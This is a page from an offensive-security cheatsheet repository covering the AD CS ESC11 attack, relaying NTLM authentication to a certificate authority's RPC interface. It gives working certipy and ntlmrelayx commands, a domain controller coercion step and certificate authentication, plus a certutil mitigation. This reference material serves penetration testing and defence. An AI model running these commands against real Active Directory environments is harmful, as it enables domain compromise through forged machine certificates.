daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ad-adcs-esc11.md (2179B)

      1 ---
      2 title: "Active Directory - Certificate ESC11"
      3 section: "Active Directory"
      4 sectionSlug: "active-directory"
      5 sourcePath: "docs/active-directory/ad-adcs-esc11.md"
      6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adcs-esc11.md"
      7 sha: "203bb0c0b290"
      8 isIndex: false
      9 ---
     10 
     11 # Active Directory - Certificate ESC11
     12 
     13 ## ESC11 - Relaying NTLM to ICPR
     14 
     15 > Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.
     16 
     17 **Tools**:
     18 
     19 * [ly4k/Certipy](https://github.com/ly4k/Certipy) - Certipy official
     20 * [sploutchy/Certipy](https://github.com/sploutchy/Certipy) - Certipy fork
     21 * [sploutchy/impacket](https://github.com/sploutchy/impacket) - Impacket fork
     22 
     23 **Exploitation**:
     24 
     25 1. Look for `Enforce Encryption for Requests: Disabled` in certipy output.
     26 
     27     ```ps1
     28     certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
     29     Enforce Encryption for Requests : Disabled
     30     ESC11: Encryption is not enforced for ICPR (RPC) requests.
     31     ```
     32 
     33 2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.
     34 
     35     ```ps1
     36     certipy relay -target rpc://dc.domain.local -ca 'DOMAIN-CA' -template DomainController
     37     # or
     38     ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
     39     ```
     40 
     41 3. Coerce authentication fomr a privileged account such as a Domain Controller.
     42 4. Use the certificate
     43 
     44     ```ps1
     45     certipy auth -pfx dc.pfx
     46     ```
     47 
     48 **Mitigations**:
     49 
     50 Enforce **RPC Encryption** (Packet Privacy).
     51 
     52 ```powershell
     53 certutil -getreg CA\InterfaceFlags
     54 certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
     55 net stop certsvc
     56 net start certsvc
     57 ```
     58 
     59 ## References
     60 
     61 * [ESC11: NTLM Relay to AD CS RPC Interface - Oliver Lyak - May 15, 2025](https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation#esc11-ntlm-relay-to-ad-cs-rpc-interface)
     62 * [GOAD - part 14 - ADCS 5/7/9/10/11/13/14/15 - Mayfly - March 10, 2025](https://mayfly277.github.io/posts/ADCS-part14/)
     63 * [Relaying to AD Certificate Services over RPC - SYLVAIN HEINIGER - November 16, 2022](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)